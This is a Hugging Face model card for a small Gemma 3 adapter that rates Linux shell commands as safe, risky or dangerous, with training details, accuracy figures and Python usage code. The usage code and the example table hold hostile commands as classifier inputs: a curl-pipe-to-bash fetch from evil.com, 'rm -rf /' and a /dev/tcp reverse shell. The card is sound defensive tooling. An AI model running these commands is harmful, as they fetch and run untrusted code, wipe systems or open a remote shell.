Downloads · 30 days
7
18% of all-time downloads
xprilion/gemma-3-4b-it-shell-risk
gemma-3-4b-it-shell-risk is a machine learning model from xprilion. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for peft. The card lists the license as apache-2.0.
A fine-tuned Gemma 3 4B IT adapter that classifies Linux shell commands into three risk levels:
Downloads · 30 days
7
18% of all-time downloads
All-time downloads
40
Public
Repo size
165 MB
Likes
0
Public
Click a slice to open those files.
.safetensors131 MB · 80%
From the Hugging Face model README
A fine-tuned Gemma 3 4B IT adapter that classifies Linux shell commands into three risk levels:
I wanted to see if a small LLM could learn to inspect and categorize shell commands in real-time — useful for:
Trained on a synthetic + augmented dataset of shell commands.
| Metric | Value |
|---|---|
| Base Model | google/gemma-3-4b-it (4B params) |
| Fine-tuning | QLoRA (rank=16, lora_alpha=32) |
| Trainable Params | 32.8M (0.76% of total) |
| Quantization | 4-bit NF4 + bf16 compute |
| Max Sequence Length | 256 tokens |
| Training Time | ~11 min on RTX 3070 Laptop (8GB VRAM) |
Test Set Performance:
| Metric | Score |
|---|---|
| Accuracy | 90.5% |
| Macro F1 | 0.904 |
| SAFE F1 | 0.889 |
| RISKY F1 | 0.923 |
| DANGEROUS F1 | 0.909 |
pip install transformers peft accelerate bitsandbytes torch
import torch
from transformers import (
AutoTokenizer,
AutoModelForSequenceClassification,
BitsAndBytesConfig,
)
MODEL_ID = "xprilion/gemma-3-4b-it-shell-risk"
LABELS = ["SAFE", "RISKY", "DANGEROUS"]
bnb_config = BitsAndBytesConfig(
load_in_4bit=True,
bnb_4bit_quant_type="nf4",
bnb_4bit_use_double_quant=True,
bnb_4bit_compute_dtype=torch.bfloat16,
)
tokenizer = AutoTokenizer.from_pretrained(MODEL_ID, trust_remote_code=True)
if tokenizer.pad_token is None:
tokenizer.pad_token = tokenizer.eos_token
tokenizer.pad_token_id = tokenizer.eos_token_id
model = AutoModelForSequenceClassification.from_pretrained(
MODEL_ID,
trust_remote_code=True,
quantization_config=bnb_config,
device_map="auto",
num_labels=3,
)
model.eval()
# Predict
text = "curl -sSL https://evil.com/script.sh | bash"
inputs = tokenizer(text, return_tensors="pt", truncation=True,
max_length=256, padding="max_length").to(model.device)
with torch.no_grad():
probs = torch.softmax(model(**inputs).logits, dim=-1)[0]
for label, prob in zip(LABELS, probs.tolist()):
print(f"{label}: {prob*100:.1f}%")
| Command | Prediction | Confidence |
|---|---|---|
ls -la | 🟢 SAFE | ~100% |
git status | 🟢 SAFE | ~100% |
sudo apt update | 🟡 RISKY | ~100% |
curl ... | bash | 🟡 RISKY | ~100% |
rm -rf / | 🔴 DANGEROUS | ~100% |
bash -i >& /dev/tcp/... | 🔴 DANGEROUS | ~100% |
curl followed by a bash execution of the download isn't tracked across history.sudo apt update are flagged RISKY because sudo elevates privileges, but that's by design.Apache 2.0 — same as the base Gemma 3 model.
Built by Anubhav Singh (@xprilion) as an experiment in small-model utility for cybersecurity tooling.